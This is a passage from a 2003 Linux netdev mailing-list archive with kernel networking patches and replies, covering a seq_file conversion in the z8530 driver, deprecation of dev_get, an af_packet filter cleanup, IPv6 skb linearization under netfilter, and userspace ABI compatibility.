"\t%d %d %d %d %d %d %d %d %d %d %d %d\n", K(txdelay), K(persist), K(slottime), K(tailtime), K(fulldup), K(waittime), K(mintime), K(maxkeyup), K(idletime), K(maxdefer), K(tx_inhibit), K(group)); @@ -2047,43 +2063,49 @@ { int reg; - len += sprintf(buffer+len, "\tW "); + seq_printf(seq, "\tW "); for (reg = 0; reg < 16; reg++) - len += sprintf(buffer+len, "%2.2x ", scc->wreg[reg]); - len += sprintf(buffer+len, "\n"); + seq_printf(seq, "%2.2x ", scc->wreg[reg]); + seq_printf(seq, "\n"); - len += sprintf(buffer+len, "\tR %2.2x %2.2x XX ", InReg(scc->ctrl,R0), InReg(scc->ctrl,R1)); + seq_printf(seq, "\tR %2.2x %2.2x XX ", InReg(scc->ctrl,R0), InReg(scc->ctrl,R1)); for (reg = 3; reg < 8; reg++) - len += sprintf(buffer+len, "%2.2x ", InReg(scc->ctrl, reg)); - len += sprintf(buffer+len, "XX "); + seq_printf(seq, "%2.2x ", InReg(scc->ctrl, reg)); + seq_printf(seq, "XX "); for (reg = 9; reg < 16; reg++) - len += sprintf(buffer+len, "%2.2x ", InReg(scc->ctrl, reg)); - len += sprintf(buffer+len, "\n"); + seq_printf(seq, "%2.2x ", InReg(scc->ctrl, reg)); + seq_printf(seq, "\n"); } #endif - len += sprintf(buffer+len, "\n"); - - pos = begin + len; - - if (pos < offset) { - len = 0; - begin = pos; - } - - if (pos > offset + length) - break; + seq_putc(seq, '\n'); } -done: + return 0; +} - *start = buffer + (offset - begin); - len -= (offset - begin); +static struct seq_operations scc_net_seq_ops = { + .start = scc_net_seq_start, + .next = scc_net_seq_next, + .stop = scc_net_seq_stop, + .show = scc_net_seq_show, +}; - if (len > length) len = length; - return len; +static int scc_net_seq_open(struct inode *inode, struct file *file) +{ + return seq_open(file, &scc_net_seq_ops); } +static struct file_operations scc_net_seq_fops = { + .owner = THIS_MODULE, + .open = scc_net_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release_private, +}; + +#endif /* CONFIG_PROC_FS */ + /* ******************************************************************** */ /* * Init SCC driver * */ @@ -2091,23 +2113,18 @@ static int __init scc_init_driver (void) { - int result; - char devname[10]; + char devname[IFNAMSIZ]; printk(banner); - spin_lock_init(&iolock); - sprintf(devname,"%s0", SCC_DriverName); - result = scc_net_setup(SCC_Info, devname, 0); - if (result) - { + if (scc_net_alloc(devname, SCC_Info)) { printk(KERN_ERR "z8530drv: cannot initialize module\n"); - return result; + return -EIO; } - proc_net_create("z8530drv", 0, scc_net_get_info); + proc_net_fops_create("z8530drv", 0, &scc_net_seq_fops); return 0; } @@ -2117,11 +2134,12 @@ io_port ctrl; int k; struct scc_channel *scc; + struct net_device *dev; - if (Nchips == 0) + if (Nchips == 0 && (dev = SCC_Info[0].dev)) { - unregister_netdev(SCC_Info[0].dev); - free_netdev(SCC_Info[0].dev); + unregister_netdev(dev); + free_netdev(dev); } /* Guard against chip prattle */ From davem@pizda.ninka.net Mon Sep 15 16:27:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:27:35 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FNRSYa028275 for ; Mon, 15 Sep 2003 16:27:29 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA29999; Mon, 15 Sep 2003 16:15:46 -0700 Date: Mon, 15 Sep 2003 16:15:46 -0700 From: "David S. Miller" To: Robert Olsson Cc: hadi@cyberus.ca, Robert.Olsson@data.slu.se, greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default Message-Id: <20030915161546.6e685195.davem@redhat.com> In-Reply-To: <16229.49798.506152.832140@robur.slu.se> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> <20030911160252.6cd6c07d.davem@redhat.com> <3F6103BB.5030706@candelatech.com> <1063330463.1028.8.camel@jzny.localdomain> <20030912204947.5267e3aa.davem@redhat.com> <16227.1284.893748.365713@robur.slu.se> <1063627928.1075.66.camel@jzny.localdomain> <16229.49798.506152.832140@robur.slu.se> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5948 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 15 Sep 2003 15:45:42 +0200 Robert Olsson wrote: > > The current default 3 band queue is good enough, the only challenge > > being noone sees stats for it. I have a patch for the kernel at: > > http://www.cyberus.ca/~hadi/patches/restore.pfifo.kernel > > and for tc at: > > http://www.cyberus.ca/~hadi/patches/restore.pfifo.tc > > Yes. > I've missed this. Our lazy work-around for the missing stats is to install > pfifo qdisc as said. IMO it should be included. I've included Jamal's pfifo_fast statistic patch, and the change to increase ethernet's tx_queue_len to 1000 in all of my trees. Thanks. From fubar@us.ibm.com Mon Sep 15 17:00:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 17:01:01 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G00nYa029411 for ; Mon, 15 Sep 2003 17:00:56 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.9/NS PXFA) with ESMTP id h8G00ipj065956; Mon, 15 Sep 2003 20:00:44 -0400 Received: from death.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8G008fd214408; Mon, 15 Sep 2003 20:00:29 -0400 Received: from us.ibm.com (fubar@localhost) by death.ibm.com (8.12.5/8.12.5/Submit) with ESMTP id h8FNvQ73013361; Mon, 15 Sep 2003 16:57:53 -0700 Message-Id: <200309152357.h8FNvQ73013361@death.ibm.com> X-Authentication-Warning: death.ibm.com: fubar owned process doing -bs To: "David S. Miller" cc: "Randy.Dunlap" , netdev@oss.sgi.com, janitor@sternwelten.at Subject: Re: Fw: [Kernel-janitors] old ioctl definitions in 2.5 In-Reply-To: Message from "David S. Miller" of "Mon, 15 Sep 2003 15:54:15 PDT." <20030915155415.73c5056d.davem@redhat.com> Date: Mon, 15 Sep 2003 16:57:26 -0700 From: Jay Vosburgh X-archive-position: 5949 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev >On Mon, 15 Sep 2003 15:52:25 -0700 >"Randy.Dunlap" wrote: > >> I think that we need to ask the netdev people about this... > >If the current generation of the bonding userland tools >have stopped using these older ioctl values, yes we should >kill them from the entire kernel tree. The current user and kernel bonding code both still use these, although I agree that they can go away (the versions of bonding old enough to still need them are very old indeed). I don't see a need to keep them in 2.4, either, as the real SIOCBONDwhatever ioctls date back at least two years. My only concern is a matter of timing; we're right at the end of synchronizing the 2.4 and 2.6 bonding sources. Once that's settled (hopefully in a few days, the last patch set for 2.4 came in this morning), then removing them from that header and the bonding code should be fine. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From davem@pizda.ninka.net Mon Sep 15 17:05:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 17:05:17 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G05BYa029833 for ; Mon, 15 Sep 2003 17:05:12 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA30187; Mon, 15 Sep 2003 16:53:33 -0700 Date: Mon, 15 Sep 2003 16:53:33 -0700 From: "David S. Miller" To: Jay Vosburgh Cc: rddunlap@osdl.org, netdev@oss.sgi.com, janitor@sternwelten.at Subject: Re: Fw: [Kernel-janitors] old ioctl definitions in 2.5 Message-Id: <20030915165333.7b97e8f5.davem@redhat.com> In-Reply-To: <200309152357.h8FNvQ73013361@death.ibm.com> References: <20030915155415.73c5056d.davem@redhat.com> <200309152357.h8FNvQ73013361@death.ibm.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5950 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 15 Sep 2003 16:57:26 -0700 Jay Vosburgh wrote: > My only concern is a matter of timing; we're right at the end > of synchronizing the 2.4 and 2.6 bonding sources. Once that's settled > (hopefully in a few days, the last patch set for 2.4 came in this > morning), then removing them from that header and the bonding code > should be fine. No problem. Just push the change to Jeff then after you're done merging stuff around, ok? From shemminger@osdl.org Mon Sep 15 17:11:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 17:11:15 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G0BAYa030297 for ; Mon, 15 Sep 2003 17:11:11 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8G0Auo16317; Mon, 15 Sep 2003 17:10:57 -0700 Date: Mon, 15 Sep 2003 17:10:36 -0700 From: Stephen Hemminger To: Nenad Corbic , "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] get rid of dev_get in wanrouter Message-Id: <20030915171036.3099c6ee.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5951 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev This call to dev_get() is racy and unnecessary because register_netdevice checks if device already exists. diff -Nru a/net/wanrouter/wanmain.c b/net/wanrouter/wanmain.c --- a/net/wanrouter/wanmain.c Mon Sep 15 17:06:43 2003 +++ b/net/wanrouter/wanmain.c Mon Sep 15 17:06:43 2003 @@ -727,8 +727,6 @@ if (dev->name == NULL) { err = -EINVAL; - } else if (dev_get(dev->name)) { - err = -EEXIST; /* name already exists */ } else { #ifdef WANDEBUG From shemminger@osdl.org Mon Sep 15 17:13:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 17:13:12 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G0D9Ya030663 for ; Mon, 15 Sep 2003 17:13:09 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8G0Cno16662; Mon, 15 Sep 2003 17:12:49 -0700 Date: Mon, 15 Sep 2003 17:12:30 -0700 From: Stephen Hemminger To: "David S. Miller" , Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] deprecate dev_get Message-Id: <20030915171230.68c08e26.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5952 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev The interface dev_get has past it's usefulness. I sent out patches that remove the two other uses left of it in the 2.6 tree. This marks it as deprecated because there still may be out of tree drivers that use it. diff -urN -X dontdiff linux-2.5/include/linux/netdevice.h linux-2.5-net/include/linux/netdevice.h --- linux-2.5/include/linux/netdevice.h 2003-09-05 09:36:05.000000000 -0700 +++ linux-2.5-net/include/linux/netdevice.h 2003-09-12 12:22:57.000000000 -0700 @@ -502,7 +502,11 @@ extern void dev_add_pack(struct packet_type *pt); extern void dev_remove_pack(struct packet_type *pt); extern void __dev_remove_pack(struct packet_type *pt); -extern int dev_get(const char *name); +extern int __dev_get(const char *name); +static inline int __deprecated dev_get(const char *name) +{ + return __dev_get(name); +} extern struct net_device *dev_get_by_flags(unsigned short flags, unsigned short mask); extern struct net_device *__dev_get_by_flags(unsigned short flags, diff -urN -X dontdiff linux-2.5/net/core/dev.c linux-2.5-net/net/core/dev.c --- linux-2.5/net/core/dev.c 2003-09-12 11:44:40.000000000 -0700 +++ linux-2.5-net/net/core/dev.c 2003-09-12 12:38:48.000000000 -0700 @@ -470,10 +470,10 @@ * to be sure the name is not allocated or removed during the test the * caller must hold the rtnl semaphore. * - * This function primarily exists for back compatibility with older + * This function exists only for back compatibility with older * drivers. */ -int dev_get(const char *name) +int __dev_get(const char *name) { struct net_device *dev; @@ -698,7 +698,13 @@ void dev_load(const char *name) { - if (!dev_get(name) && capable(CAP_SYS_MODULE)) + struct net_device *dev; + + read_lock(&dev_base_lock); + dev = __dev_get_by_name(name); + read_unlock(&dev_base_lock); + + if (dev && capable(CAP_SYS_MODULE)) request_module("%s", name); } diff -urN -X dontdiff linux-2.5/net/netsyms.c linux-2.5-net/net/netsyms.c --- linux-2.5/net/netsyms.c 2003-09-02 08:48:11.000000000 -0700 +++ linux-2.5-net/net/netsyms.c 2003-09-12 17:24:11.000000000 -0700 @@ -511,7 +511,7 @@ EXPORT_SYMBOL(dev_add_pack); EXPORT_SYMBOL(dev_remove_pack); EXPORT_SYMBOL(__dev_remove_pack); -EXPORT_SYMBOL(dev_get); +EXPORT_SYMBOL(__dev_get); EXPORT_SYMBOL(dev_alloc); EXPORT_SYMBOL(dev_alloc_name); EXPORT_SYMBOL(__netdev_watchdog_up); From fubar@us.ibm.com Mon Sep 15 18:13:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 18:13:58 -0700 (PDT) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G1DcYa010299 for ; Mon, 15 Sep 2003 18:13:45 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e4.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8G1DVRu880946; Mon, 15 Sep 2003 21:13:31 -0400 Received: from death.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8G1DRTQ197838; Mon, 15 Sep 2003 21:13:29 -0400 Received: from us.ibm.com (fubar@localhost) by death.ibm.com (8.12.5/8.12.5/Submit) with ESMTP id h8G1Brhf013421; Mon, 15 Sep 2003 18:11:54 -0700 Message-Id: <200309160111.h8G1Brhf013421@death.ibm.com> X-Authentication-Warning: death.ibm.com: fubar owned process doing -bs To: "David S. Miller" cc: rddunlap@osdl.org, netdev@oss.sgi.com, janitor@sternwelten.at Subject: Re: Fw: [Kernel-janitors] old ioctl definitions in 2.5 In-Reply-To: Message from "David S. Miller" of "Mon, 15 Sep 2003 16:53:33 PDT." <20030915165333.7b97e8f5.davem@redhat.com> Date: Mon, 15 Sep 2003 18:11:52 -0700 From: Jay Vosburgh X-archive-position: 5953 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev >On Mon, 15 Sep 2003 16:57:26 -0700 >Jay Vosburgh wrote: > >> My only concern is a matter of timing; we're right at the end >> of synchronizing the 2.4 and 2.6 bonding sources. Once that's settled >> (hopefully in a few days, the last patch set for 2.4 came in this >> morning), then removing them from that header and the bonding code >> should be fine. > >No problem. Just push the change to Jeff then after you're >done merging stuff around, ok? Will do. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From mitch@sfgoth.com Mon Sep 15 20:05:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 20:05:17 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G35AYa015739 for ; Mon, 15 Sep 2003 20:05:10 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h8G3DtkV008839; Mon, 15 Sep 2003 20:13:55 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h8G3Dt99008838; Mon, 15 Sep 2003 20:13:55 -0700 (PDT) (envelope-from mitch) Date: Mon, 15 Sep 2003 20:13:55 -0700 From: Mitchell Blank Jr To: "David S. Miller" , romieu@fr.zoreil.com Cc: netdev@oss.sgi.com Subject: Re: [PATCH] tiny af_packet.c cleanup Message-ID: <20030916031355.GC7982@gaz.sfgoth.com> References: <20030913055033.GB94744@gaz.sfgoth.com> <20030913093559.A23840@electric-eye.fr.zoreil.com> <20030913080252.GE94744@gaz.sfgoth.com> <20030913110353.B23840@electric-eye.fr.zoreil.com> <20030913201559.GI94744@gaz.sfgoth.com> <20030914125549.A7790@electric-eye.fr.zoreil.com> <20030914112628.GD42531@gaz.sfgoth.com> <20030915155652.3e5e89a0.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030915155652.3e5e89a0.davem@redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 5954 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev David S. Miller wrote: > When you guys decide on a final patch let me know, the semantic > parts of Mitchell's changes look perfectly fine to me. How about something like the following. It expands the comment but turns that bit of code into an inline function so we onlt have to explain it once. Untested, but compiles fine. -Mitch --- linux-2.6.0-test5-VIRGIN/net/packet/af_packet.c 2003-09-08 12:39:53.000000000 -0700 +++ linux-2.6.0-test5mnb1/net/packet/af_packet.c 2003-09-15 10:56:26.313218168 -0700 @@ -381,6 +381,23 @@ } #endif +static inline unsigned run_filter(struct sk_buff *skb, struct sock *sk, unsigned res) +{ + struct sk_filter *filter; + + bh_lock_sock(sk); + filter = sk->sk_filter; + /* + * Our caller already checked that filter != NULL but we need to + * verify that under bh_lock_sock() to be safe + */ + if (likely(filter != NULL)) + res = sk_run_filter(skb, filter->insns, filter->len); + bh_unlock_sock(sk); + + return res; +} + /* This function makes lazy skb cloning in hope that most of packets are discarded by BPF. @@ -429,15 +446,7 @@ snaplen = skb->len; if (sk->sk_filter) { - unsigned res = snaplen; - struct sk_filter *filter; - - bh_lock_sock(sk); - if ((filter = sk->sk_filter) != NULL) - res = sk_run_filter(skb, sk->sk_filter->insns, - sk->sk_filter->len); - bh_unlock_sock(sk); - + unsigned res = run_filter(skb, sk, snaplen); if (res == 0) goto drop_n_restore; if (snaplen > res) @@ -533,15 +542,7 @@ snaplen = skb->len; if (sk->sk_filter) { - unsigned res = snaplen; - struct sk_filter *filter; - - bh_lock_sock(sk); - if ((filter = sk->sk_filter) != NULL) - res = sk_run_filter(skb, sk->sk_filter->insns, - sk->sk_filter->len); - bh_unlock_sock(sk); - + unsigned res = run_filter(skb, sk, snaplen); if (res == 0) goto drop_n_restore; if (snaplen > res) From rusty@samba.org Mon Sep 15 20:30:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 20:30:27 -0700 (PDT) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G3UEYa019418 for ; Mon, 15 Sep 2003 20:30:15 -0700 Received: by lists.samba.org (Postfix, from userid 590) id 5A03D2C106; Tue, 16 Sep 2003 03:30:14 +0000 (GMT) From: Rusty Russell To: Andras Kis-Szabo Cc: coreteam@netfilter.org, netdev@oss.sgi.com Subject: Re: [netfilter-core] Re: skb linearization In-reply-to: Your message of "15 Sep 2003 23:49:24 +0200." <1063662564.1358.19.camel@localhost> Date: Tue, 16 Sep 2003 12:58:53 +1000 Message-Id: <20030916033014.5A03D2C106@lists.samba.org> X-archive-position: 5955 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rusty@rustcorp.com.au Precedence: bulk X-list: netdev In message <1063662564.1358.19.camel@localhost> you write: > I got the large linearization patch from Rusty. At first look I noticed > that it could be a large work for IPv6, BCF the extension headers. > At netfilter6 we inspect these headers in ip6_target.c, ip6t_LOG.c and > the extension header matches. > So, my real questions. Could you check some files for me? > > - net/ipv6/ah6.c:ipv6_clear_mutable_options() > this function uses the skb as a linear one w/o skb_copy_bits or > skb_linearize. Am I right? Well, yes, but this is at output, and current code always produces a linear header (the data may be non-linear for zero-copy though). I tried not to rely on this in netfilter hooks, in case it changes later. > - net/ipv6/ah6.c > where are these functions called? Before or after the netfilter hooks? Best guesses follow based on a little grepping. Dave/Alexey will correct me if this is wrong 8) ah6_output called as a dst->output function, so after NF_IP6_POST_ROUTING. ah6_input called from xfrm6_rcv, called from ip6_input_finish, so after NF_IP6_LOCAL_IN. > - net/ipv6/esp6.c > mainly the same functions as ah6.c, but this file uses skb_copy_bits! It's an input function, so can't assume linear beyond the header. Header is pulled in ip6_input_finish, although I feel it should be done in ip6_input itself so the netfilter hook gets a linear header, but there's IPv6 header wierdness here (multuple handlers as it iterates through the headers) which I think makes the current ordering reasonable. > - net/ipv6/exthdrs.c:ipv6_invert_rthdr() > this function manipulates/modifies the routing addresses in an > extension header. It uses the skb as a linear one w/o checks or > linearization. Am I right? (This extension header can be far from the > main IPv6 header and this header can contain lot of IPv6 addresses in a > chain.) Headers are linearized in ip6_input_finish IIUC. > - net/ipv6/exthdrs.c:ipv6_skip_exthdr() > it is a nice solution with linearization of the required areas only. > It can be a good solution to use in the extension header based matches. Yes, that is a good plan. > The whole function could be used in the ip6_targt.c:ip6_packet_match() > to get the real next level value. (Currently I have added a similar > function into that function.) > Do you see any chance to export this function into the namespace? Hmm, they look similar, but different enough that merging them might not be worthwhile: you already use ipv6_ext_hdr(). You'd have to try it and see if it gets uglier or prettier. > The 3rd problem is the ip6t_LOG.c, but I think that we stole the > solution from ipt_LOG.c, as usual :) Good idea. Cheers, Rusty. -- Anyone who quotes me in their sig is an idiot. -- Rusty Russell. From davem@pizda.ninka.net Mon Sep 15 22:55:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 22:56:04 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G5tCYa022827 for ; Mon, 15 Sep 2003 22:55:50 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA30712; Mon, 15 Sep 2003 22:41:19 -0700 Date: Mon, 15 Sep 2003 22:41:19 -0700 From: "David S. Miller" To: Mitchell Blank Jr Cc: romieu@fr.zoreil.com, netdev@oss.sgi.com Subject: Re: [PATCH] tiny af_packet.c cleanup Message-Id: <20030915224119.454578a7.davem@redhat.com> In-Reply-To: <20030916031355.GC7982@gaz.sfgoth.com> References: <20030913055033.GB94744@gaz.sfgoth.com> <20030913093559.A23840@electric-eye.fr.zoreil.com> <20030913080252.GE94744@gaz.sfgoth.com> <20030913110353.B23840@electric-eye.fr.zoreil.com> <20030913201559.GI94744@gaz.sfgoth.com> <20030914125549.A7790@electric-eye.fr.zoreil.com> <20030914112628.GD42531@gaz.sfgoth.com> <20030915155652.3e5e89a0.davem@redhat.com> <20030916031355.GC7982@gaz.sfgoth.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5956 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 15 Sep 2003 20:13:55 -0700 Mitchell Blank Jr wrote: > How about something like the following. It expands the comment but turns > that bit of code into an inline function so we onlt have to explain it > once. Looks good, applied. From davem@pizda.ninka.net Mon Sep 15 22:56:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 22:56:21 -0700 (PDT) Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G5tcYa022844 for ; Mon, 15 Sep 2003 22:56:10 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id WAA30719; Mon, 15 Sep 2003 22:42:55 -0700 Date: Mon, 15 Sep 2003 22:42:55 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] deprecate dev_get Message-Id: <20030915224255.49755297.davem@redhat.com> In-Reply-To: <20030915171230.68c08e26.shemminger@osdl.org> References: <20030915171230.68c08e26.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5957 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 15 Sep 2003 17:12:30 -0700 Stephen Hemminger wrote: > The interface dev_get has past it's usefulness. I sent out patches > that remove the two other uses left of it in the 2.6 tree. I'll put this in after Jeff and others put those dev_get() driver bits into the tree. Probably isn't going to happen this week, since Linus is not around. From davem@pizda.ninka.net Mon Sep 15 23:15:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 23:15:10 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G6EvYa024012 for ; Mon, 15 Sep 2003 23:15:02 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA30826; Mon, 15 Sep 2003 23:02:59 -0700 Date: Mon, 15 Sep 2003 23:02:59 -0700 From: "David S. Miller" To: Bart De Schuymer Cc: laforge@netfilter.org, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030915230259.79f5a545.davem@redhat.com> In-Reply-To: <200309160805.08171.bdschuym@pandora.be> References: <200309022116.41697.bdschuym@pandora.be> <200309132159.37834.bdschuym@pandora.be> <20030915155903.12a3f95d.davem@redhat.com> <200309160805.08171.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5958 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 16 Sep 2003 08:05:07 +0200 Bart De Schuymer wrote: > Anyway, this rule about not changing structs exported to userspace truly > sucks, IMHO. Welcome to the real world. > If someone decides to compile her own kernel this person should > not expect every userspace tool to keep working, again IMHO. Wouldn't it be great if you recompiled you kernel and the args to the read() system call got rearranged? There is simply no difference in this case. The situation doesn't change because the object is being passed into some netfilter module. You can't arbitrarily change userland exported APIs at your convenience to fix some bug. You either have to create a new interface for the user to use, or fix the bug without changing the API. Will it be the end of the world if you do a byte at a time comparison, at least as a temporary solution? Also, another solution could be to store the object inside the kernel using a different structure, one where you can guarentee the alignment of these things properly. From bdschuym@pandora.be Mon Sep 15 23:38:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 23:38:19 -0700 (PDT) Received: from apate.telenet-ops.be (apate.telenet-ops.be [195.130.132.57]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G6buYa024890 for ; Mon, 